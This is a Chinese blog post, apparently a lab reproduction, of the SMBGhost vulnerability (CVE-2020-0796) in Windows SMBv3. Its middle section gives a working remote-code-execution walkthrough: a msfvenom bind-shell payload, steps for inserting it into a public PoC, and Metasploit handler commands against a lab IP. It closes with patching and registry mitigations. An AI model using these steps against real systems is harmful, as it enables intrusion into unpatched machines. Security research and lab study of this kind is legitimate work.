zoukankan      html  css  js  c++  java
  • CVE-2020-0796(永恒之黑)漏洞复现利用getshell

    CVE-2020-0796(永恒之黑)漏洞复现利用getshell

    漏洞描述:

    SMB远程代码执行漏洞

    SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。

    漏洞原理:

    Microsoft服务器消息块(SMB)协议是Microsoft Windows中使用的一项Microsoft网络文件共享协议。在大部分windows系统中都是默认开启的,用于在计算机间共享文件、打印机等。

    Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。

    利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。

    影响范围:

    Windows 10 Version 1903 for 32-bit Systems
    Windows 10 Version 1903 for x64-based Systems
    Windows 10 Version 1903 for ARM64-based Systems
    Windows Server, Version 1903 (Server Core installation)
    Windows 10 Version 1909 for 32-bit Systems
    Windows 10 Version 1909 for x64-based Systems
    Windows 10 Version 1909 for ARM64-based Systems
    Windows Server, Version 1909 (Server Core installation)

    参考文章:

    https://www.cnblogs.com/xiaoxiaosen/p/13056272.html

    getshell:

    一、复现环境

    二、漏洞检测

    1. 在靶机里下载检测工具:http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip

    2. 运行工具,检测到漏洞风险

    三、漏洞利用

    POC下载:https://github.com/chompie1337/SMBGhost_RCE_PoC

    1. 在kali中生成木马

      msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=6666 -b 'x00' -i 1 -f python
      
      #-p windows/x64/meterpreter/bind_tcp 设置payload为windows64位meterpreter控制台下的正向连接
      #LPORT=6666 设置开发端口为6666
      #-b 'x00' 设置在生成的程序中避免出现'x00'
      #-i 1 设置编码次数为一次
      #-f python 设置生成python格式文件
      
    2. 用生成的shellcode将POC文件里exploit.py中的一部分替换掉,直接复制粘贴,将buf替换成USER_PAYLOAD保存(我这个图是之前失败的图,成功后忘记截了,就当作是设置的6666端口)

    3. 开启msf监听

      msfconsole
      use exploit/multi/handler
      set payload windows/x64/meterpreter/bind_tcp
      set lport 6666
      set rhost 192.168.245.136
      run
      

    4. 将POC放入kali里,运行POC,getshell,倒数第二步时,点击回车就好了

      python3 exploit.py -ip 192.168.245.136
      

    5. 返回监听界面,可以看到监听成功,getshell

    漏洞加固:

    1. 更新补丁

    2. 微软给出了临时的应对办法:
      运行regedit.exe,打开注册表编辑器,在HKLMSYSTEMCurrentControlSetServicesLanmanServerParameters建立一个名为DisableCompression的DWORD,值为1,禁止SMB的压缩功能。

    3. 将SMB445通信端口进行封禁

    心得:

      getshell的时候出了很多问题,比如说一蓝屏win10就更新修复漏洞,关闭自动更新,重装系统都试了试还是没法,只能靠快照恢复;一次出现了physical read primitive failed的情况,发现是漏洞修复的原因;有很多次运行POC后,win10蓝屏了但是并没有监听到,后来突然发现生成木马时设置的端口和之后监听的端口不一致,修改好了就可以了;然后还有说POC脚本不稳定要多试几次的问题,最后终于利用成功。

  • 相关阅读:
    String、StringBuilder、StringBuffer的比较
    applet、servlet、jsp分别是什么
    getWriter() has already been called for this response 的解决办法
    servlet 的作用
    什么是 servlet?
    jsp的Session 和Servlet的Session的区别
    java——复用代码、组合、继承(java编程思想)
    Java----访问权限
    CountDownLatch源码分析
    Redis底层数据结构之 zset
  • 原文地址:https://www.cnblogs.com/Iamyoyodan/p/13081273.html
Copyright © 2011-2022 走看看